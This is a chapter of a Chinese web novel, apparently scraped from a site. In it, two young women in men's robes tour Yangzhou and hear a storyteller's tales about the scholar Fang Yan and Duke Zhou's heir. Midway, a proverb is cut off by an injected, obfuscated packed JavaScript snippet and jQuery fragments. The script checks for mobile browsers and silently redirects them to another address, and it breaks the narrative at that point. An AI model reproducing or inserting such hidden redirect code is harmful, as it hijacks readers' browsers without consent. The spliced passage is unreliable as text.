73.戏说方兖2

作品:《碧桃花谢春意晚

    “你说的啊,今儿出去有什么事儿,全在你身上。”春桃还是不大放心。


    “我说的,我先让燕珍去给我盘头发,你快着点儿嗷。”卢绾绾换好衣服,穿好靴子,蹦蹦跳跳的出去喊燕珍了。


    过了一阵子,春桃穿好了劲装,扭扭捏捏的从屏风后面走出来,道:“感觉好奇怪,感觉没有裙子下面空空的。”


    卢绾绾上下打量着她,欢喜的拍着手道:“你穿男装也好看,这一看就是一个漂亮小姑娘穿着男装,哪里像是臭男人啊。”说罢,冲春桃招了招手道:“过来,我给你把头发盘起来,不然这样整个一个四不像。”


    春桃还想推辞,结果发现卢绾绾和燕珍两个人,燕珍坐在榻上给卢绾绾盘头发,卢绾绾自己则是坐在脚踏上,压根儿分不清谁是主谁是仆,于是只好从善如流的在卢绾绾下首的地板上坐了。


    卢绾绾说要给春桃盘头发,其实也就是觉得盘头好玩,等拿着梳子把春桃的头发拆开,就彻底是抓瞎了,完全无从下手,最后还是燕珍接过春桃的脑袋来,给春桃扎了个结结实实的翻刀髻。


    “咦,好奇怪,感觉都不是我了呢,”春桃站在穿衣镜前,看着镜中俨然一个玉面小郎君的自己,扥扥袍子,抻抻胳膊,怎么看怎么新奇,“说是男人吧,可我盘着发髻,带着耳环,说是女人吧,可谁家女人穿成这样呢。”


    “以前特别多,基本上每个女孩子都有一套圆领袍,大街上一半都是穿圆领袍的女孩。这几年年景不大好,出来的少了,不过偶尔一次也没什么的。”卢绾绾吃着一块白玉霜方糕,欣赏着春桃这幅矫健活泼的装扮。


    春桃只能慨叹还是物阜民丰的地方民风开放啊,扬州作为全国最富的地方,还是保留了以往前朝自由的风气。如今的上京,哪家千金小姐要是敢这样子出门,第二日就得以妇德不修的罪名被拉去开除宗籍落发为尼了。


    因为不确定能不能订得到大酒楼的饭菜,所以两个女孩在卢家垫了点糕点,这才人手一把折扇的出门了。


    春桃因为是小丫鬟,所以在外面抛头露面的次数很多,但每次出门,要么是低着头跟在主子的马车旁边,要么就是有差事在身,从未这样昂首挺阔步大光明的在城市的大道上走过,所以新奇的感觉一点不比第一次出门的女孩子少。


    路上的行人或是和善的一瞥,或是好奇的打量,甚至是小贩驮货物的驴子的一两声长嘶,都让春桃感到无与伦比的新鲜刺激。


    “我先让燕珍去丰乐坊里面瞧瞧,看能不能定下一小桌子饭菜,中午就随便吃点馄饨什么的吧,正经饭晚上再吃,怎么样?”


    一队赶着驴子驮着货物的小贩呼呼喝喝着往前走,卢绾绾只能大声的和春桃喊,春桃吃着手里的糖人儿,乖巧点头。


    卢绾绾口中的丰乐坊,是扬州地界上建在水上的一座大酒楼,高四层,里面既有勾栏瓦肆,也有饭店、香饮摊、茶馆,要是有那种腰缠万贯的,豪掷千金包下最上层的雅间,喝着小酒,吃着小菜,欣赏着南府戏班精心排出的曲子词,简直是人生乐事。


    不过她们今天出门出的仓促,肯定已经排不上最好的屋子,所以只能在寻常饭店里面吃饭了。


    一整个白天,春桃和卢绾绾两个人都在扬州大街小巷上转悠,或者包一艘小舟顺着河欣赏街边美景。


    不同于追求宏伟的土木结构建筑的上京城,扬州偏重追求精巧细腻,很多建筑都傍水而建,甚至有的大门直接就开在水路之上,美丽而新雅。


    从著名的二十四桥,到烟云袅袅的天宁寺,再到富丽堂皇的丰乐坊,一路听着过往帝王在此的传奇故事,春桃连午饭都不想吃了。


    到丰乐坊时,燕珍下楼来跟卢绾绾报告,原来还有一个时辰才轮得到她们去吃饭,春桃不由得有些泄气,摸着饿得慌的肚子道:“什么好宝贝要排着队才能吃得到啊,还不如在路上吃一碗热乎乎的汤饼呢。”


    “出息,”卢绾绾没好气道,“要出来当然是吃最好的酒楼的最好的菜,汤饼你什么时候吃不得了。我们也不会干等着,去找些乐子吧。”


    说完,拉着春桃进坊里去,穿过曲曲折折的回廊和楼台,在一家瓦肆前驻足,卢绾绾踮脚看了看里面,笑着道,“最前面有空位子,我们进去等,还能打发不了这一个时辰?”


    于是卢绾绾春桃还有燕珍玉蕊四人,一道进去,将一路上买的吃的玩的全堆在小茶桌上。小台子上方才一出精彩纷呈的皮影戏刚刚结束,新换上来的是位书生打扮的说书先生,折扇一挥醒木一拍,便从天下大势说起。卢绾绾管小二要了四碗槐花蜜酿来,四个人抱着茶碗,一边小口喝着,一边听说书。


    春桃也是没想到,这说书先生口中的主人公,居然也是熟人——


    讲的是北边魏国有一户农妇,因为家里丈夫打仗死了,军功却被县太爷的儿子夺走。彼时朝廷横征暴敛,实在交不上税负,便只能将房屋折成现银上交,露宿街头,数九寒天之下怀中婴孩哇哇啼哭,刚好被路过的方兖方层城发现。


    这方大才子听了前因后果,给了这农妇几两银子,又令奴才送她往县中一处豪宅中居住。因那豪宅出过满门被杀的命案,夜里常常有冤魂出没,因此农妇哭着道不敢,只听那方兖冷哼一声道:“不怕厉鬼当面坐,只怕世情两面刀”,当场写下一张什么剪恶除奸邪魔退散的符篆交给妇人。


    妇人与孩子在那处豪宅之中居住数月,竟一个厉鬼都未曾见到,相反是县太爷府上一到夜里便有厉鬼出来吃人,那抢夺农妇丈夫军功的县太爷之子,到最后居然被厉鬼折磨而死。


    县太爷实在无法,便请道士来驱邪,只听那道士说,这乃是圣人临世,剪恶除奸,定是你们做了什么亏心事迫害忠良遗孀,因此有人在此替天行道,他也无可奈何。


    最后盘剥百姓的贪官一家皆被冤魂索命而死,正所谓“人恶人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182338|187624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怕天不怕,人善人欺天不欺”、“白天烧香夜杀生,菩萨闭眼鬼开门”、“善恶到头终有报”是也。


    一个故事终了,给春桃听得一愣一愣的。


    谁能想到,这说书先生口中方大才子的文章,不光皇帝公卿觉得能济世安民,甚至各路鬼神也听他一支笔杆子的驱策啊。


    调动神魔来为受苦难的人伸张正义,那在百姓眼中的方兖,到底是多么伟岸的形象啊。春桃回想着自己和白向晚平日生活中的点点滴滴,只觉得又陌生又新奇。


    卢绾绾倒是没春桃这么多的心绪,一边往嘴里扔面果子,一边道:“这方兖来扬州不到半日,城里的各种逸闻趣事的主人公就都成他了,也是,扬州城虽然平日里就热闹,但能让整个扬州都觉得热闹的人也是不多。”


    春桃则是觉得有些好笑。


    一个故事终了,赢得众人满堂喝彩,端着托盘的店小二便上前来讨赏。卢绾绾她们坐在最前面,要是赏的少了,只怕要到后面不好开张,所以给了一整个银锭子,小二说着吉祥话,又往后头去讨赏。


    “先生,下面是什么故事啊?”春桃她们坐在前面,因此卢绾绾直接和喝茶润口的说书先生聊了起来。


    “接下来啊,接下来是梁世子梦中会神女,方层城作诗请甘霖……”先生倒也是个和善人,把接下来的节目名单全报出来给她们,基本上都是方兖劈神斩鬼造福一方的故事,可见方兖到扬州来,给这些靠嘴皮子吃饭的人提供了多少热门话题。剩下的对半几乎都是梁世子的邪门传闻,给人一种大景王朝的头版头条都被这哥俩占了的感觉。


    春桃又听见熟人,皱眉问了句:“梁世子?不会是周时影吧?”


    说书先生笑道:“小娘子好见识啊,竟连梁国公世子的名讳都知晓。”


    这可给春桃说蒙了:“一般不是叫小公爷吗,亲王和郡王的继承人才能被叫做世子吧?”


    “两江都是这么叫的,小可不过附庸风雅而已。”说书先生笑的讳莫如深,轻轻捋着胡子。


    卢绾绾则是对此有别的疑问,道:“这周小公爷不是都娶了公主了,还怎么梦会神女啊?不怕被公主捉奸吗?”


    此言一出,相邻的几个座位上的人都被逗得哈哈大笑。


    春桃在上京,倒是知道些内情,附耳给卢绾绾道:“是这样,公主与小公爷成亲两年还没有身孕,所以圣人最近一直在催促公主为小公爷纳妾了。”


    卢绾绾一副不可置信的表情,小声问道:“驸马纳妾,闻所未闻啊?圣人怎么这么疼小公爷,都要越过自己女儿去了?”


    “是周家如今在朝中势大,我听说,朝廷无论是用兵还是平水患,都依仗周家才能办成,故而圣人多有拉拢。纳妾算什么,只要周家能高兴,圣人恨不得自己给小公爷做妾去呢。”


    “你这话也说的太糙了。”卢绾绾被逗得前仰后合,一口水险些喷在说书先生脸上。